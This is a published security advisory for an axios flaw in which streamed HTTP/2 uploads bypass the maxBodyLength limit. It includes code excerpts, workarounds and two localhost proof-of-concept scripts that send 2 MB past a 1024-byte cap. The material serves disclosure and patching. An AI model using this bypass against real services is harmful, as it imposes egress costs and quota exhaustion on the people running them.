GHSA-MWF2-3PR3-8698
Vulnerability from github – Published: 2026-07-20 22:37 – Updated: 2026-07-20 22:37
VLAI
Summary
Axios: HTTP/2 streamed uploads bypass `maxBodyLength`
Details
Summary
Axios versions with Node.js HTTP/2 support allow streamed request bodies to bypass maxBodyLength enforcement when requests are sent with httpVersion: 2.
This affects applications that rely on maxBodyLength as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent.
Impact
An attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured maxBodyLength limit.
Practical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control.
Browser adapters are not affected. Axios calls using the default unlimited maxBodyLength: -1 do not cross this specific configured-limit boundary.
Affected Functionality
Affected calls require all of the following:
- Node.js HTTP adapter.
httpVersion: 2.- Request
datasupplied as a stream. - A finite
maxBodyLength. - Attacker-controlled or attacker-influenced stream contents.
Unaffected or differently affected paths:
- String, Buffer, and ArrayBuffer request bodies are checked before transport selection.
- Browser XHR/fetch adapters are not affected.
- HTTP/1.1 requests using
follow-redirectsenforceoptions.maxBodyLength. - In
axios >=1.15.1, settingmaxRedirects: 0on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams.
Technical Details
In lib/adapters/http.js, axios selects http2Transport whenever httpVersion resolves to 2. The adapter still stores config.maxBodyLength on options.maxBodyLength, but Node’s HTTP/2 request API does not enforce that option.
The stream-level byte-counting wrapper is currently gated on config.maxBodyLength > -1 && config.maxRedirects === 0. For HTTP/2 requests using the default redirect setting, axios does not use follow-redirects and also does not enter this wrapper, so uploadStream.pipe(req) sends the full stream.
Local verification against the current v1.x checkout showed a request with maxBodyLength: 1024 successfully transmitting 2097152 bytes over HTTP/2.
No fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 maxRedirects: 0 path.
Proof of Concept of Attack
import http2 from 'node:http2';
import {Readable} from 'node:stream';
import axios from './index.js';
const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;
const server = http2.createServer();
server.on('stream', (stream) => {
let received = 0;
stream.on('data', (chunk) => {
received += chunk.length;
});
stream.on('end', () => {
stream.respond({':status': 200, 'content-type': 'application/json'});
stream.end(JSON.stringify({received, limit: LIMIT}));
});
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
function makeBody(total) {
const chunk = Buffer.alloc(64 * 1024, 0x41);
let remaining = total;
return new Readable({
read() {
if (remaining <= 0) {
this.push(null);
return;
}
const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);
remaining -= next.length;
this.push(next);
}
});
}
try {
const response = await axios.post(
`http://127.0.0.1:${server.address().port}/upload`,
makeBody(PAYLOAD_BYTES),
{
httpVersion: 2,
maxBodyLength: LIMIT,
headers: {'content-type': 'application/octet-stream'}
}
);
console.log(response.data);
// Vulnerable result: { received: 2097152, limit: 1024 }
} finally {
server.close();
}
Workarounds
For axios >=1.15.1, set maxRedirects: 0 on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path.
For earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid httpVersion: 2 for untrusted streamed uploads.### Summary
On Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.
if (isHttp2) {
transport = http2Transport;
} else {
const configTransport = own('transport');
if (configTransport) {
transport = configTransport;
} else if (config.maxRedirects === 0) {
transport = isHttpsRequest ? https : http;
isNativeTransport = true;
} else {
if (config.maxRedirects) {
options.maxRedirects = config.maxRedirects;
}
const configBeforeRedirect = own('beforeRedirect');
if (configBeforeRedirect) {
options.beforeRedirects.config = configBeforeRedirect;
}
transport = isHttpsRequest ? httpsFollow : httpFollow;
}
}
if (config.maxBodyLength > -1) {
options.maxBodyLength = config.maxBodyLength;
} else {
// follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited
options.maxBodyLength = Infinity;
}
// Enforce maxBodyLength for streamed uploads on the native http/https
// transport (maxRedirects === 0); follow-redirects enforces it on the
// other path.
let uploadStream = data;
if (config.maxBodyLength > -1 && config.maxRedirects === 0) {
const limit = config.maxBodyLength;
let bytesSent = 0;
uploadStream = stream.pipeline(
[
data,
new stream.Transform({
transform(chunk, _enc, cb) {
bytesSent += chunk.length;
if (bytesSent > limit) {
return cb(
new AxiosError(
'Request body larger than maxBodyLength limit',
AxiosError.ERR_BAD_REQUEST,
config,
req
)
);
}
cb(null, chunk);
},
}),
],
utils.noop
);
uploadStream.on('error', (err) => {
if (!req.destroyed) req.destroy(err);
});
}
uploadStream.pipe(req);
import http2 from 'node:http2';
import { Readable } from 'node:stream';
import axios from '../../index.js';
const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;
// Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an
// `http://...` authority, which mirrors what axios does when the request URL
// uses `http://` and `httpVersion: 2`.
const server = http2.createServer();
server.on('stream', (stream, _headers) => {
let received = 0;
stream.on('data', (chunk) => {
received += chunk.length;
});
stream.on('end', () => {
stream.respond({
':status': 200,
'content-type': 'application/json',
});
stream.end(JSON.stringify({ received, limit: LIMIT }));
});
stream.on('error', () => {
/* swallow client-side aborts */
});
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;
function makeBodyStream(totalBytes) {
const CHUNK = Buffer.alloc(64 * 1024, 0x41);
let remaining = totalBytes;
return new Readable({
read() {
if (remaining <= 0) {
this.push(null);
return;
}
const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);
remaining -= next.length;
this.push(next);
},
});
}
try {
let result;
try {
const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), {
httpVersion: 2,
maxBodyLength: LIMIT,
// We intentionally do NOT set maxRedirects: 0 — that flag activates the
// existing HTTP/1 byte-counting wrapper. The bug under test is that the
// HTTP/2 transport path skips that wrapper entirely.
headers: { 'content-type': 'application/octet-stream' },
// Omit content-length so the body is streamed without a known length.
});
result = { status: response.status, data: response.data };
} catch (err) {
result = { error: err && (err.code || err.message) };
}
console.log('--- PoC: HTTP/2 maxBodyLength bypass ---');
console.log('axios result:', JSON.stringify(result));
const ok =
result &&
result.status === 200 &&
result.data &&
typeof result.data === 'object' &&
result.data.received === PAYLOAD_BYTES &&
result.data.limit === LIMIT;
if (ok) {
console.log(
`VULNERABLE: server received ${result.data.received} bytes despite ` +
`maxBodyLength=${LIMIT}.`
);
process.exitCode = 0;
} else {
console.log('NOT VULNERABLE: axios refused or truncated the oversized stream.');
process.exitCode = 1;
}
} finally {
server.close();
// http2 sessions cached by axios may keep the event loop alive; force exit
// after the assertion so the script returns instead of idling on TCP keep-alive.
setImmediate(() => process.exit(process.exitCode || 0));
}
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.13.0"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T22:37:03Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nAxios versions with Node.js HTTP/2 support allow streamed request bodies to bypass `maxBodyLength` enforcement when requests are sent with `httpVersion: 2`.\n\nThis affects applications that rely on `maxBodyLength` as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent.\n\n## Impact\n\nAn attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured `maxBodyLength` limit.\n\nPractical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control.\n\nBrowser adapters are not affected. Axios calls using the default unlimited `maxBodyLength: -1` do not cross this specific configured-limit boundary.\n\n## Affected Functionality\n\nAffected calls require all of the following:\n\n- Node.js HTTP adapter.\n- `httpVersion: 2`.\n- Request `data` supplied as a stream.\n- A finite `maxBodyLength`.\n- Attacker-controlled or attacker-influenced stream contents.\n\nUnaffected or differently affected paths:\n\n- String, Buffer, and ArrayBuffer request bodies are checked before transport selection.\n- Browser XHR/fetch adapters are not affected.\n- HTTP/1.1 requests using `follow-redirects` enforce `options.maxBodyLength`.\n- In `axios \u003e=1.15.1`, setting `maxRedirects: 0` on affected HTTP/2 upload calls activates axios\u2019 existing stream wrapper and rejects oversized streams.\n\n## Technical Details\n\nIn `lib/adapters/http.js`, axios selects `http2Transport` whenever `httpVersion` resolves to `2`. The adapter still stores `config.maxBodyLength` on `options.maxBodyLength`, but Node\u2019s HTTP/2 request API does not enforce that option.\n\nThe stream-level byte-counting wrapper is currently gated on `config.maxBodyLength \u003e -1 \u0026\u0026 config.maxRedirects === 0`. For HTTP/2 requests using the default redirect setting, axios does not use `follow-redirects` and also does not enter this wrapper, so `uploadStream.pipe(req)` sends the full stream.\n\nLocal verification against the current `v1.x` checkout showed a request with `maxBodyLength: 1024` successfully transmitting `2097152` bytes over HTTP/2.\n\nNo fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 `maxRedirects: 0` path.\n\n## Proof of Concept of Attack\n\n```js\nimport http2 from \u0027node:http2\u0027;\nimport {Readable} from \u0027node:stream\u0027;\nimport axios from \u0027./index.js\u0027;\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http2.createServer();\n\nserver.on(\u0027stream\u0027, (stream) =\u003e {\n let received = 0;\n\n stream.on(\u0027data\u0027, (chunk) =\u003e {\n received += chunk.length;\n });\n\n stream.on(\u0027end\u0027, () =\u003e {\n stream.respond({\u0027:status\u0027: 200, \u0027content-type\u0027: \u0027application/json\u0027});\n stream.end(JSON.stringify({received, limit: LIMIT}));\n });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\n\nfunction makeBody(total) {\n const chunk = Buffer.alloc(64 * 1024, 0x41);\n let remaining = total;\n\n return new Readable({\n read() {\n if (remaining \u003c= 0) {\n this.push(null);\n return;\n }\n\n const next = remaining \u003e= chunk.length ? chunk : chunk.subarray(0, remaining);\n remaining -= next.length;\n this.push(next);\n }\n });\n}\n\ntry {\n const response = await axios.post(\n `http://127.0.0.1:${server.address().port}/upload`,\n makeBody(PAYLOAD_BYTES),\n {\n httpVersion: 2,\n maxBodyLength: LIMIT,\n headers: {\u0027content-type\u0027: \u0027application/octet-stream\u0027}\n }\n );\n\n console.log(response.data);\n // Vulnerable result: { received: 2097152, limit: 1024 }\n} finally {\n server.close();\n}\n```\n\n## Workarounds\n\nFor `axios \u003e=1.15.1`, set `maxRedirects: 0` on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path.\n\nFor earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid `httpVersion: 2` for untrusted streamed uploads.### Summary\nOn Node.js, axios\u0027s maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n### Details\nIn lib/adapters/http.js, transport selection is unconditional for HTTP/2:\n\nhttp.js Lines 937-956\n```\n if (isHttp2) {\n transport = http2Transport;\n } else {\n const configTransport = own(\u0027transport\u0027);\n if (configTransport) {\n transport = configTransport;\n } else if (config.maxRedirects === 0) {\n transport = isHttpsRequest ? https : http;\n isNativeTransport = true;\n } else {\n if (config.maxRedirects) {\n options.maxRedirects = config.maxRedirects;\n }\n const configBeforeRedirect = own(\u0027beforeRedirect\u0027);\n if (configBeforeRedirect) {\n options.beforeRedirects.config = configBeforeRedirect;\n }\n transport = isHttpsRequest ? httpsFollow : httpFollow;\n }\n }\n```\n\nmaxBodyLength is then stored on the request options:\n\nhttp.js Lines 958-963\n```\n if (config.maxBodyLength \u003e -1) {\n options.maxBodyLength = config.maxBodyLength;\n } else {\n // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited\n options.maxBodyLength = Infinity;\n }\n```\n\u2026but options.maxBodyLength is only honored by the follow-redirects transport. Node\u0027s native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0:\n\nhttp.js Lines 1270-1304\n```\n // Enforce maxBodyLength for streamed uploads on the native http/https\n // transport (maxRedirects === 0); follow-redirects enforces it on the\n // other path.\n let uploadStream = data;\n if (config.maxBodyLength \u003e -1 \u0026\u0026 config.maxRedirects === 0) {\n const limit = config.maxBodyLength;\n let bytesSent = 0;\n uploadStream = stream.pipeline(\n [\n data,\n new stream.Transform({\n transform(chunk, _enc, cb) {\n bytesSent += chunk.length;\n if (bytesSent \u003e limit) {\n return cb(\n new AxiosError(\n \u0027Request body larger than maxBodyLength limit\u0027,\n AxiosError.ERR_BAD_REQUEST,\n config,\n req\n )\n );\n }\n cb(null, chunk);\n },\n }),\n ],\n utils.noop\n );\n uploadStream.on(\u0027error\u0027, (err) =\u003e {\n if (!req.destroyed) req.destroy(err);\n });\n }\n uploadStream.pipe(req);\n```\n\nFor the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn\u0027t fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded.\n\n### PoC\n```\nimport http2 from \u0027node:http2\u0027;\nimport { Readable } from \u0027node:stream\u0027;\nimport axios from \u0027../../index.js\u0027;\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\n// Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an\n// `http://...` authority, which mirrors what axios does when the request URL\n// uses `http://` and `httpVersion: 2`.\nconst server = http2.createServer();\n\nserver.on(\u0027stream\u0027, (stream, _headers) =\u003e {\n let received = 0;\n stream.on(\u0027data\u0027, (chunk) =\u003e {\n received += chunk.length;\n });\n stream.on(\u0027end\u0027, () =\u003e {\n stream.respond({\n \u0027:status\u0027: 200,\n \u0027content-type\u0027: \u0027application/json\u0027,\n });\n stream.end(JSON.stringify({ received, limit: LIMIT }));\n });\n stream.on(\u0027error\u0027, () =\u003e {\n /* swallow client-side aborts */\n });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\nconst port = server.address().port;\n\nfunction makeBodyStream(totalBytes) {\n const CHUNK = Buffer.alloc(64 * 1024, 0x41);\n let remaining = totalBytes;\n return new Readable({\n read() {\n if (remaining \u003c= 0) {\n this.push(null);\n return;\n }\n const next = remaining \u003e= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);\n remaining -= next.length;\n this.push(next);\n },\n });\n}\n\ntry {\n let result;\n try {\n const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), {\n httpVersion: 2,\n maxBodyLength: LIMIT,\n // We intentionally do NOT set maxRedirects: 0 \u2014 that flag activates the\n // existing HTTP/1 byte-counting wrapper. The bug under test is that the\n // HTTP/2 transport path skips that wrapper entirely.\n headers: { \u0027content-type\u0027: \u0027application/octet-stream\u0027 },\n // Omit content-length so the body is streamed without a known length.\n });\n result = { status: response.status, data: response.data };\n } catch (err) {\n result = { error: err \u0026\u0026 (err.code || err.message) };\n }\n\n console.log(\u0027--- PoC: HTTP/2 maxBodyLength bypass ---\u0027);\n console.log(\u0027axios result:\u0027, JSON.stringify(result));\n\n const ok =\n result \u0026\u0026\n result.status === 200 \u0026\u0026\n result.data \u0026\u0026\n typeof result.data === \u0027object\u0027 \u0026\u0026\n result.data.received === PAYLOAD_BYTES \u0026\u0026\n result.data.limit === LIMIT;\n\n if (ok) {\n console.log(\n `VULNERABLE: server received ${result.data.received} bytes despite ` +\n `maxBodyLength=${LIMIT}.`\n );\n process.exitCode = 0;\n } else {\n console.log(\u0027NOT VULNERABLE: axios refused or truncated the oversized stream.\u0027);\n process.exitCode = 1;\n }\n} finally {\n server.close();\n // http2 sessions cached by axios may keep the event loop alive; force exit\n // after the assertion so the script returns instead of idling on TCP keep-alive.\n setImmediate(() =\u003e process.exit(process.exitCode || 0));\n}\n```\n\n### Impact\n- Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads.\n- Bypass of cost/quota guards configured via maxBodyLength against billed upstream services.\n- Resource exhaustion against upstream peers, proxies, and the application\u0027s own connection / memory budget.\n\u003c/details\u003e",
"id": "GHSA-mwf2-3pr3-8698",
"modified": "2026-07-20T22:37:03Z",
"published": "2026-07-20T22:37:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11000"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Axios: HTTP/2 streamed uploads bypass `maxBodyLength`"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
Loading…
Loading…